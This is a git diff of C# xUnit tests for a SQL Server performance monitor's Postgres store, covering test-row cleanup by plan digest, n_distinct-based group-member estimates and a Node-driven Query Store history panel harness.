@@ -68,10 +82,10 @@ land the NULL-digest marker rather than skipping the row. */
                 connection, ServerId, Db,
                 new[]
                 {
-                    new FetchedPlan(1, "<plan one/>", "0xAAAA"),
+                    new FetchedPlan(1, PlanOne, "0xAAAA"),
                     new FetchedPlan(2, PlanXml: null, PlanHash: "0xBBBB"),
                 },
-                landedAt, TestTimeoutSeconds, ct);
+                landedAt, TestTimeoutSeconds, cancellationToken: ct);
             Assert.Equal(new long[] { 1, 2 }, landed);
 
             using (var marker = new NpgsqlCommand(
@@ -127,7 +141,7 @@ caller refetches on the OR of the two. */
                reset detector firing. */
             await QueryStoreTextWriter.WriteAsync(
                 connection, ServerId, Db,
-                new[] { new FetchedQueryText(10, "SELECT 1", QueryHash: null) }, landedAt, TestTimeoutSeconds, ct);
+                new[] { new FetchedQueryText(10, "SELECT 1", QueryHash: null) }, landedAt, TestTimeoutSeconds, cancellationToken: ct);
 
             var adopt = await QueryStoreFetchProbe.TouchAndProbeTextsAsync(
                 connection, ServerId, Db, new[] { (10L, (string?)"0x1111"), (11L, (string?)"0x2222") }, now, TestTimeoutSeconds, ct);
@@ -177,12 +191,12 @@ public async Task Restart_ANewConnectionRetouchesNothingFresh_TheGuardReadsStore
 
             await QueryStorePlanWriter.WriteAsync(
                 connection, ServerId, Db,
-                new[] { new FetchedPlan(201, "<plan restart/>", "0xR1") },
-                landedAt, TestTimeoutSeconds, ct);
+                new[] { new FetchedPlan(201, PlanRestart, "0xR1") },
+                landedAt, TestTimeoutSeconds, cancellationToken: ct);
             await QueryStoreTextWriter.WriteAsync(
                 connection, ServerId, Db,
                 new[] { new FetchedQueryText(202, "SELECT 'restart'", "0xR2") },
-                landedAt, TestTimeoutSeconds, ct);
+                landedAt, TestTimeoutSeconds, cancellationToken: ct);
 
             async Task<(long Map, long Dim, long Text)> FreshnessCountsAsync(DateTime stamp)
             {
@@ -243,8 +257,183 @@ await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =
         }
     }
 
+    /// <summary>
+    /// #4981: the cleanup every test here ends with leaves the shared store as it found it, and takes only what this
+    /// class wrote. The plan content these tests land goes to the digest-keyed dimension, which the map-row delete
+    /// never reached, so each run left dimension rows behind. The cleanup deletes by the content's digest and by
+    /// nothing else, because the dimension keeps no reference count and a lookup through the map rows would also take
+    /// a row that <c>query_stats</c> or <c>procedure_stats</c> still references.
+    ///
+    /// <para>This lands two of the class's own plans (one a second server's map row also points at) and two plans it
+    /// does not write, each referenced by a <c>query_stats</c> row; one of those is also pointed at by a map row of the
+    /// server being cleaned, the other by a map row of the second server. After each cleanup the class's own plans are
+    /// gone, and both others are still there.</para>
+    /// </summary>
+    [Fact]
+    public async Task TheCleanup_RemovesTheDimensionRowsItLanded_AndLeavesARowAFactTableStillReferences()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live fetch-probe test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        var otherServerId = ServerIdHelper.GetDeterministicHashCode(ServerName + "-other");
+
+        /* The second server's rows, removed at the start as well as the end so a run that died mid-way cannot break
+           the next one. Its dimension rows go the way this server's do, by the four known digests alone: following
+           its map rows to the dimension would take a row that another table still references. otherServerId is an
+           int computed here, never user input: safe to inline. The digest delete takes a parameter, so it is its own
+           command, and the map delete is a second one (a parameterised command may not carry more than one
+           statement). */
+        async Task DeleteOtherServerRowsAsync(NpgsqlConnection target, CancellationToken token)
+        {
+            await DeleteKnownPlanDimensionRowsAsync(target, token);
+            using var other = new NpgsqlCommand($"DELETE FROM collect.query_store_plan_map WHERE server_id = {otherServerId}", target);
+            await other.ExecuteNonQueryAsync(token);
+        }
+
+        var outsideOurs = PayloadDimensions.Digest(PlanOutsideOurs);
+        var outsideOther = PayloadDimensions.Digest(PlanOutsideOther);
+
+        /* What the two outside plans leave behind: the fact rows that reference them, and their own dimension rows
+           (the cleanup under test must not remove those, so this test does). Removed at the start as well as the end,
+           for the same reason as the second server's rows. */
+        async Task DeleteOutsideRowsAsync(NpgsqlConnection target, CancellationToken token)
+        {
+            await DarlingMcpTestData.ExecAsync(target, token,
+                "DELETE FROM collect.query_stats WHERE server_id = $1", ServerId);
+            using var outside = new NpgsqlCommand("DELETE FROM collect.query_plan_dim WHERE digest = ANY($1)", target);
+            outside.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Bytea, new[] { outsideOurs, outsideOther });
+            await outside.ExecuteNonQueryAsync(token);
+        }
+
+        await DeleteOtherServerRowsAsync(connection, ct);
+        await DeleteOutsideRowsAsync(connection, ct);
+        var bodySucceeded = false;
+        try
+        {
+            var landedAt = DateTime.UtcNow.AddHours(-(QueryStoreLivenessTouchGuard.GuardHours + 1));
+            await QueryStorePlanWriter.WriteAsync(
+                connection, ServerId, Db,
+                new[]
+                {
+                    new FetchedPlan(301, PlanOnlyOurs, "0xC1"),
+                    new FetchedPlan(302, PlanShared, "0xC2"),
+                    new FetchedPlan(303, PlanOutsideOurs, "0xC3"),
+                },
+                landedAt, TestTimeoutSeconds, cancellationToken: ct);
+            await QueryStorePlanWriter.WriteAsync(
+                connection, otherServerId, Db,
+                new[] { new FetchedPlan(401, PlanOutsideOther, "0xC4") },
+                landedAt, TestTimeoutSeconds, cancellationToken: ct);
+
+            /* A fact row referencing each outside plan: the references the old map-only check could not see. */
+            foreach (var referenced in new[] { outsideOurs, outsideOther })
+            {
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    "INSERT INTO collect.query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_digest, delta_execution_count, delta_elapsed_time) VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9)",
+                    CollectionIdGenerator.Next(), QueryStorePlanMap.Naive(DateTime.UtcNow), ServerId, ServerName, Db, "0xFACT", referenced, 1L, 1000L);
+            }
+
+            async Task<byte[]> DigestOfAsync(long planId)
+            {
+                using var read = new NpgsqlCommand(
+                    "SELECT digest FROM collect.query_store_plan_map WHERE server_id = $1 AND database_name = $2 AND plan_id = $3", connection);
+                read.Parameters.AddWithValue(ServerId);
+                read.Parameters.AddWithValue(Db);
+                read.Parameters.AddWithValue(planId);
+                return (byte[])(await read.ExecuteScalarAsync(ct))!;
+            }
+
+            async Task<long> DimRowsAsync(byte[] digest)
+            {
+                using var count = new NpgsqlCommand("SELECT COUNT(*) FROM collect.query_plan_dim WHERE digest = $1", connection);
+                count.Parameters.AddWithValue(digest);
+                return (long)(await count.ExecuteScalarAsync(ct))!;
+            }
+
+            var ours = await DigestOfAsync(301);
+            var shared = await DigestOfAsync(302);
+
+            /* The cleanup's by-content delete is only as good as this: the stored digest is the content's digest. */
+            Assert.Equal(PayloadDimensions.Digest(PlanOnlyOurs), ours);
+            Assert.Equal(PayloadDimensions.Digest(PlanShared), shared);
+            Assert.Equal(1L, await DimRowsAsync(ours));
+            Assert.Equal(1L, await DimRowsAsync(shared));
+            Assert.Equal(1L, await DimRowsAsync(outsideOurs));
+            Assert.Equal(1L, await DimRowsAsync(outsideOther));
+
+            using (var other = new NpgsqlCommand(
+                "INSERT INTO collect.query_store_plan_map (server_id, database_name, plan_id, digest, plan_hash, last_seen) VALUES ($1, $2, 1, $3, '0xC2', $4)", connection))
+            {
+                other.Parameters.AddWithValue(otherServerId);
+                other.Parameters.AddWithValue(Db);
+                other.Parameters.AddWithValue(shared);
+                other.Parameters.AddWithValue(QueryStorePlanMap.Naive(landedAt));
+                await other.ExecuteNonQueryAsync(ct);
+            }
+
+            await DeleteRowsAsync(connection, ct);
+
+            /* Content it did not write stays, though a map row of the server being cleaned pointed at the first. */
+            Assert.Equal(1L, await DimRowsAsync(outsideOurs));
+            Assert.Equal(1L, await DimRowsAsync(outsideOther));
+
+            /* The class's own content goes by its digest, though a second server's map row pointed at one of the two. */
+            Assert.Equal(0L, await DimRowsAsync(ours));
+            Assert.Equal(0L, await DimRowsAsync(shared));
+
+            /* The second server's cleanup is held to the same line: its map row points at the second outside plan. */
+            await DeleteOtherServerRowsAsync(connection, ct);
+
+            Assert.Equal(1L, await DimRowsAsync(outsideOurs));
+            Assert.Equal(1L, await DimRowsAsync(outsideOther));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await DeleteOtherServerRowsAsync(cleanup, cleanupCt);
+                await DeleteRowsAsync(cleanup, cleanupCt);
+                await DeleteOutsideRowsAsync(cleanup, cleanupCt);
+            });
+        }
+    }
+
+    /// <summary>The digests of the four plan contents this class writes: the whole of what its cleanup may delete from the dimension.</summary>
+    private static readonly byte[][] KnownDigests =
+        new[] { PlanOne, PlanRestart, PlanOnlyOurs, PlanShared }.Select(PayloadDimensions.Digest).ToArray();
+
+    /// <summary>
+    /// #4981: removes the dimension rows of the four plan contents this class writes, by digest and by nothing else.
+    /// The dimension is keyed by content and no server id scopes it, so deleting the map rows alone left one row per
+    /// plan behind in the shared store on every run (eight of them failed a later class). The delete does not follow
+    /// the map rows to find them, and does not check which tables still reference a row before it goes: the dimension
+    /// keeps no reference count, <c>query_stats</c> and <c>procedure_stats</c> reference it as well as the map, and a
+    /// check of only some of those would remove a row a table the check did not name still uses. Four literal contents
+    /// no other class writes need no such check.
+    /// </summary>
+    private static async Task DeleteKnownPlanDimensionRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var dimension = new NpgsqlCommand("DELETE FROM collect.query_plan_dim WHERE digest = ANY($1)", connection);
+        dimension.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Bytea, KnownDigests);
+        await dimension.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>
+    /// #4981: removes every row this class plants: the four plan contents in the shared dimension (see
+    /// <see cref="DeleteKnownPlanDimensionRowsAsync"/>), then this server's map, text and registry rows.
+    /// </summary>
     private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
     {
+        await DeleteKnownPlanDimensionRowsAsync(connection, ct);
+
         var sql =
             $"DELETE FROM collect.query_store_plan_map WHERE server_id = {ServerId};" +
             $"DELETE FROM collect.query_store_text WHERE server_id = {ServerId};" +
diff --git a/Darling/Darling.Tests/QueryStoreGroupMembersLiveTests.cs b/Darling/Darling.Tests/QueryStoreGroupMembersLiveTests.cs
new file mode 100644
index 0000000000..5fad79d6ea
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreGroupMembersLiveTests.cs
@@ -0,0 +1,136 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5582, live: the member count of a Query Store RankedTimeSeries panel's group dimension, read from <c>pg_stats.n_distinct</c> of
+/// the wide table. Covers the partitioned parent (V171: <c>inherited = true</c>), a plain table (<c>inherited = false</c>), a
+/// negative <c>n_distinct</c> (a fraction of <c>reltuples</c>), a table never analyzed (unknown), and the dimensions that take no
+/// lookup (<c>server</c>, which is the servers in scope, and <c>query_hash</c>, which is unbounded).
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. The test reaches DARLING_TEST_PG only to CREATE and
+   DROP its own database through ScratchPostgres and works entirely inside it. */
+public sealed class QueryStoreGroupMembersLiveTests
+{
+    private static string Panel(string groupBy) =>
+        "{\"source\":\"query_store_stats\",\"measure\":\"qs_executions\",\"aggregate\":\"sum\",\"timeBucket\":\"hour\",\"topN\":10,"
+        + "\"groupBy\":[\"" + groupBy + "\"],\"viz\":\"line\"}";
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return await command.ExecuteScalarAsync(ct);
+    }
+
+    [Fact]
+    public async Task TheMembers_ComeFromPgStats_OfThePartitionedParentAndOfAPlainTable()
+    {
+        var baseCs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5582 group-member live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        /* The wide table is a partitioned parent since V171, so the statistics the planner keeps for it are the inherited ones. */
+        Assert.Equal("p", (await ScalarAsync(connection,
+            "SELECT relkind::text FROM pg_class WHERE oid = 'collect.query_store_interval_wide'::regclass", ct))!.ToString());
+
+        var moduleName = QueryStoreRankedHarness.Parse(Panel("module_name"));
+        var databaseName = QueryStoreRankedHarness.Parse(Panel("database_name"));
+
+        /* Never analyzed: no statistics row, so the count is unknown (the compiler then takes two scans). */
+        Assert.Null(await QueryStoreGroupMembers.ResolveAsync(connection, moduleName, 3, ct));
+
+        /* 6,000 rows: 50 modules, and a database name that is different on every row. */
+        await ExecAsync(connection,
+            "INSERT INTO collect.query_store_interval_wide (collection_time, server_id, first_execution_time, query_id, plan_id, module_name, database_name) "
+            + "SELECT TIMESTAMP '2026-08-01 00:00:00' + (g * interval '1 second'), -5582100, TIMESTAMP '2026-08-01 00:00:00' + (g * interval '1 second'), g, g, "
+            + "'m' || (g % 50), 'db' || g FROM generate_series(1, 6000) AS g", ct);
+        await ExecAsync(connection, "ANALYZE collect.query_store_interval_wide", ct);
+
+        /* A positive n_distinct is the count itself, times the safety factor of 4. */
+        Assert.Equal(200L, await QueryStoreGroupMembers.ResolveAsync(connection, moduleName, 3, ct));
+
+        /* A negative n_distinct (-1: every row distinct) is a fraction of reltuples, so it is the row count, times the safety factor. */
+        var reltuples = Convert.ToInt64(await ScalarAsync(connection,
+            "SELECT reltuples::bigint FROM pg_class WHERE oid = 'collect.query_store_interval_wide'::regclass", ct), System.Globalization.CultureInfo.InvariantCulture);
+        Assert.Equal(6000L, reltuples);
+        Assert.Equal(24000L, await QueryStoreGroupMembers.ResolveAsync(connection, databaseName, 3, ct));
+
+        /* The partitioned parent has its statistics inherited, and no non-inherited row: the lookup must ask for the inherited ones. */
+        Assert.Equal(1L, Convert.ToInt64(await ScalarAsync(connection,
+            "SELECT count(*) FROM pg_stats WHERE schemaname = 'collect' AND tablename = 'query_store_interval_wide' AND attname = 'module_name' AND inherited", ct),
+            System.Globalization.CultureInfo.InvariantCulture));
+        Assert.Equal(0L, Convert.ToInt64(await ScalarAsync(connection,
+            "SELECT count(*) FROM pg_stats WHERE schemaname = 'collect' AND tablename = 'query_store_interval_wide' AND attname = 'module_name' AND NOT inherited", ct),
+            System.Globalization.CultureInfo.InvariantCulture));
+
+        /* server is the servers in scope, exactly (no factor); the product of several dimensions is the product of the counts, the n_distinct one times 4. */
+        var serverOnly = QueryStoreRankedHarness.Parse(Panel("server"));
+        Assert.Equal(43L, await QueryStoreGroupMembers.ResolveAsync(connection, serverOnly, 43, ct));
+        var both = QueryStoreRankedHarness.Parse(
+            "{\"source\":\"query_store_stats\",\"measure\":\"qs_executions\",\"aggregate\":\"sum\",\"timeBucket\":\"hour\",\"topN\":10,"
+            + "\"groupBy\":[\"server\",\"module_name\"],\"viz\":\"line\"}");
+        Assert.Equal(600L, await QueryStoreGroupMembers.ResolveAsync(connection, both, 3, ct));
+
+        /* query_hash has no bound this lookup can give: unknown. A panel that is not a RankedTimeSeries asks for nothing. */
+        Assert.Null(await QueryStoreGroupMembers.ResolveAsync(connection, QueryStoreRankedHarness.Parse(Panel("query_hash")), 3, ct));
+        Assert.Null(await QueryStoreGroupMembers.ResolveAsync(connection, QueryStoreRankedHarness.Parse(
+            "{\"source\":\"query_store_stats\",\"ratio\":\"qs_total_cpu_us\",\"topN\":10,\"groupBy\":[\"module_name\"],\"viz\":\"table\"}"), 3, ct));
+
+        /* A plain table (the wide table before V171): the same lookup, on the non-inherited statistics. */
+        await ExecAsync(connection, "CREATE TABLE collect.qsgm_plain (module_name text, database_name text)", ct);
+        await ExecAsync(connection,
+            "INSERT INTO collect.qsgm_plain SELECT 'm' || (g % 20), 'db' || g FROM generate_series(1, 3000) AS g", ct);
+        await ExecAsync(connection, "ANALYZE collect.qsgm_plain", ct);
+        Assert.Equal(20d, await QueryStoreGroupMembers.NDistinctMembersAsync(connection, "module_name", ct, "qsgm_plain"));
+        Assert.Equal(3000d, await QueryStoreGroupMembers.NDistinctMembersAsync(connection, "database_name", ct, "qsgm_plain"));
+
+        /* A column or table with no statistics row is unknown, not zero. */
+        Assert.Null(await QueryStoreGroupMembers.NDistinctMembersAsync(connection, "no_such_column", ct, "qsgm_plain"));
+        Assert.Null(await QueryStoreGroupMembers.NDistinctMembersAsync(connection, "module_name", ct, "no_such_table"));
+    }
+
+    [Fact]
+    public async Task TheRunner_PassesTheMembersOut_OnlyForARankedTimeSeriesPanelOnTheWideRoute()
+    {
+        var baseCs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5582 group-member live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        /* An empty store is not wide-eligible, whatever the plan: nothing to count, and the default tuple says so. */
+        var none = await DarlingWebEndpoints.ResolveQueryStoreWideEligibleAsync(
+            postgres, null, DateTime.UtcNow.AddDays(-2), DateTime.UtcNow, null, ct, QueryStoreRankedHarness.Parse(Panel("module_name")));
+        Assert.False(none.Eligible);
+        Assert.Null(none.GroupMembers);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreGroupMembersTests.cs b/Darling/Darling.Tests/QueryStoreGroupMembersTests.cs
new file mode 100644
index 0000000000..a7b3907a7c
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreGroupMembersTests.cs
@@ -0,0 +1,106 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5582: the safety factor on the <c>pg_stats.n_distinct</c> group-member guess, with no store. A sampled <c>n_distinct</c> runs low for a
+/// long-tailed column (1.7x low for <c>module_name</c> in the field), and a low guess picks the single scan where it can pass the temp-file
+/// limit, so each <c>n_distinct</c>-derived count is multiplied by <see cref="QueryStoreGroupMembers.NDistinctSafetyFactor"/>; the server
+/// count is exact and is not.
+/// </summary>
+public sealed class QueryStoreGroupMembersTests
+{
+    private static QueryStoreGroupMembers.MemberCount Estimate(double? value) => new(value, true);
+
+    private static QueryStoreGroupMembers.MemberCount Exact(double? value) => new(value, false);
+
+    private static string Panel(string groupBy) =>
+        "{\"source\":\"query_store_stats\",\"measure\":\"qs_executions\",\"aggregate\":\"sum\",\"timeBucket\":\"hour\",\"topN\":10,"
+        + "\"groupBy\":[\"" + groupBy + "\"],\"viz\":\"line\"}";
+
+    [Fact]
+    public void TheFactor_IsFour()
+    {
+        Assert.Equal(4d, QueryStoreGroupMembers.NDistinctSafetyFactor);
+    }
+
+    [Fact]
+    public void AnNDistinctDimension_GetsTheFactor()
+    {
+        Assert.Equal(2_552L, QueryStoreGroupMembers.Combine([Estimate(638d)]));
+    }
+
+    [Fact]
+    public void TheServerDimension_GetsNoFactor()
+    {
+        Assert.Equal(43L, QueryStoreGroupMembers.Combine([Exact(43d)]));
+    }
+
+    [Fact]
+    public void TwoNDistinctDimensions_GetTheFactorEach()
+    {
+        /* 638 modules x 132 databases, each x4: 16 x the raw product, not 4 x. */
+        Assert.Equal(638L * 132L * 16L, QueryStoreGroupMembers.Combine([Estimate(638d), Estimate(132d)]));
+    }
+
+    [Fact]
+    public void AServerAndAnNDistinctDimension_FactorOnlyTheNDistinctOne()
+    {
+        Assert.Equal(3L * 200L, QueryStoreGroupMembers.Combine([Exact(3d), Estimate(50d)]));
+    }
+
+    [Fact]
+    public void AnUnknownDimension_KeepsTheWholeCountUnknown()
+    {
+        Assert.Null(QueryStoreGroupMembers.Combine([Estimate(null)]));
+        Assert.Null(QueryStoreGroupMembers.Combine([Exact(3d), Estimate(null)]));
+        Assert.Null(QueryStoreGroupMembers.Combine([Estimate(0.5d)]));
+    }
+
+    [Fact]
+    public void TheFactor_MovesAGuessAcrossTheSingleScanBound()
+    {
+        /* 24 hourly buckets: a raw guess of 10,000 members becomes 40,000 = 960,000 base rows (still one scan); a raw 10,417
+           becomes 41,668 = 1,000,032 rows, over MaxSingleScanBaseRows (two scans). Without the factor both would be single. */
+        Assert.True(24 * QueryStoreGroupMembers.Combine([Estimate(10_000d)])!.Value <= ComposeLimits.MaxSingleScanBaseRows);
+        Assert.True(24 * QueryStoreGroupMembers.Combine([Estimate(10_417d)])!.Value > ComposeLimits.MaxSingleScanBaseRows);
+    }
+
+    [Fact]
+    public async Task TheResolver_KeepsServerExact_AndQueryHashUnknown_WithoutTouchingAStore()
+    {
+        var ct = TestContext.Current.CancellationToken;
+
+        /* Neither dimension reads pg_stats, so no connection is needed. ResolveAsync catches every non-cancel fault and returns null,
+           so a null result alone cannot tell "unknown by design" from "touched the null connection and failed": the capturing
+           logger can. A resolver that touched the connection logs a Debug line for the fault it swallowed. */
+        var quiet = new CapturingTestLogger();
+        using (ReadScope.Open(quiet))
+        {
+            Assert.Equal(43L, await QueryStoreGroupMembers.ResolveAsync(null!, QueryStoreRankedHarness.Parse(Panel("server")), 43, ct));
+            Assert.Null(await QueryStoreGroupMembers.ResolveAsync(null!, QueryStoreRankedHarness.Parse(Panel("query_hash")), 43, ct));
+        }
+
+        Assert.True(quiet.Lines.Count == 0, "the resolver swallowed a fault, so it touched the store: " + quiet.Joined);
+
+        /* Control: a dimension that does read pg_stats fails on the null connection, and that swallowed fault does reach the logger. */
+        var loud = new CapturingTestLogger();
+        using (ReadScope.Open(loud))
+        {
+            Assert.Null(await QueryStoreGroupMembers.ResolveAsync(null!, QueryStoreRankedHarness.Parse(Panel("database_name")), 43, ct));
+        }
+
+        Assert.Equal(1, loud.CountAtLevel(LogLevel.Debug));
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreHistoryBehaviourTests.cs b/Darling/Darling.Tests/QueryStoreHistoryBehaviourTests.cs
new file mode 100644
index 0000000000..dcc529bab8
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreHistoryBehaviourTests.cs
@@ -0,0 +1,197 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The web Query Store history panel (#5234), from the shipped <c>query-store-history.js</c> run under Node
+/// (<c>web-qs-history-harness.mjs</c>). Node is skipped when it is not installed.
+/// </summary>
+public sealed class QueryStoreHistoryBehaviourTests
+{
+    internal static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-qs-history-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the Query Store history harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the Query Store history harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n').First(l => l.StartsWith('{')));
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string Str(JsonElement r, string name) => r.GetProperty(name).GetString()!;
+
+    [Fact]
+    public void TheHistoryButton_ReadsThePerPlanHistory_AndEachPlanRowReadsItsOwnPlan()
+    {
+        var r = Run("open");
+        Assert.True(r.GetProperty("buttonBefore").GetBoolean());
+        Assert.Contains("Loading", Str(r, "loading"));
+        Assert.Equal("/api/read/get_query_store_query_history", Str(r, "path"));
+        var q = r.GetProperty("query");
+        Assert.Equal("srv-a", q.GetProperty("server").GetString());
+        Assert.Equal("Orders", q.GetProperty("database_name").GetString());
+        Assert.Equal("42", q.GetProperty("query_id").GetString());
+        Assert.Equal("24", q.GetProperty("hours").GetString());
+        Assert.False(q.TryGetProperty("hours_back", out _));
+        Assert.False(q.TryGetProperty("as_of", out _));
+        Assert.Equal(1, r.GetProperty("fetches").GetInt32());
+        Assert.Equal(2, r.GetProperty("dataRows").GetInt32());
+        Assert.Equal(2, r.GetProperty("planButtons").GetInt32());
+        var plan = r.GetProperty("plan");
+        Assert.Equal("/api/read/get_query_store_plan_xml", Str(plan, "path"));
+        Assert.Equal("9", plan.GetProperty("query").GetProperty("plan_id").GetString());
+        Assert.Equal("42", plan.GetProperty("query").GetProperty("query_id").GetString());
+        var chart = r.GetProperty("chart")[0];
+        Assert.Equal("qs-history|srv-a|Orders|42|||", Str(chart, "id"));
+        Assert.Equal(new[] { "p7", "p9" }, chart.GetProperty("series").EnumerateArray().Select(s => s.GetString()));
+        Assert.Equal(2, chart.GetProperty("points").GetInt32());
+        Assert.True(r.GetProperty("closed").GetBoolean());
+        // One observer while the panel is open (it reloaded and redrew meanwhile) and none once it is closed (plan-row.js).
+        Assert.Equal(1, r.GetProperty("observersOpen").GetInt32());
+        Assert.Equal(0, r.GetProperty("observersClosed").GetInt32());
+    }
+
+    [Fact]
+    public void AnOpenPanel_SurvivesARebuild_WithoutASecondRead()
+    {
+        var r = Run("rebuild");
+        Assert.True(r.GetProperty("open").GetBoolean());
+        Assert.True(r.GetProperty("showsTable").GetBoolean());
+        Assert.Equal(0, r.GetProperty("refetched").GetInt32());
+    }
+
+    [Fact]
+    public void WithACustomRange_TheReadIsAnchoredAtTheRangeEnd()
+    {
+        var r = Run("customRange");
+        var q = r.GetProperty("query");
+        Assert.Equal("24", q.GetProperty("hours").GetString());
+        Assert.Equal("2026-03-04T06:00:00.000Z", q.GetProperty("as_of").GetString());
+    }
+
+    [Fact]
+    public void AChangedHoursOrRange_ReadsTheOpenPanelAgain_AndTheSameWindowDoesNot()
+    {
+        var r = Run("windowChange");
+        Assert.Equal(0, r.GetProperty("sameWindowRefetched").GetInt32());
+        Assert.Equal(1, r.GetProperty("hoursRefetched").GetInt32());
+        Assert.Equal("168", r.GetProperty("lastHours").GetString());
+        Assert.True(r.GetProperty("stillOpen").GetBoolean());
+        Assert.Equal(1, r.GetProperty("rangeRefetched").GetInt32());
+        Assert.Equal("2026-03-04T06:00:00.000Z", r.GetProperty("lastAsOf").GetString());
+    }
+
+    [Fact]
+    public void ACellThePageThrewAway_IsNotDrawnInto_AndLeavesTheRedrawSet()
+    {
+        var r = Run("detachedCell");
+        Assert.Equal(0, r.GetProperty("goneTables").GetInt32());
+        Assert.Equal(1, r.GetProperty("keptTables").GetInt32());
+        Assert.Equal(1, r.GetProperty("cells").GetInt32());
+    }
+
+    [Fact]
+    public void WhenTheLastCellForAKeyIsGone_TheKeyLeavesTheRedrawMap()
+    {
+        var r = Run("lastCellGone");
+        Assert.Equal(0, r.GetProperty("goneTables").GetInt32());
+        Assert.Empty(r.GetProperty("keys").EnumerateArray());
+    }
+
+    [Fact]
+    public void ACutPointList_SaysTheNewestAreShown()
+    {
+        var notices = Run("cutNotice").GetProperty("notices");
+        Assert.Single(notices.EnumerateArray());
+        Assert.Contains("newest 2", notices[0].GetString());
+        Assert.DoesNotContain("first", notices[0].GetString());
+    }
+
+    [Fact]
+    public void ATruncatedWindow_ShowsTheNotice_AndAFullOneDoesNot()
+    {
+        var shown = Run("truncated").GetProperty("notices");
+        Assert.Single(shown.EnumerateArray());
+        Assert.Contains("Stored history starts at", shown[0].GetString());
+        Assert.Equal(0, Run("notTruncated").GetProperty("notices").GetInt32());
+    }
+
+    [Fact]
+    public void AnEmptyAnswer_ShowsItsMessage_AndNoTable()
+    {
+        var r = Run("empty");
+        Assert.Contains("No Query Store history", Str(r, "text"));
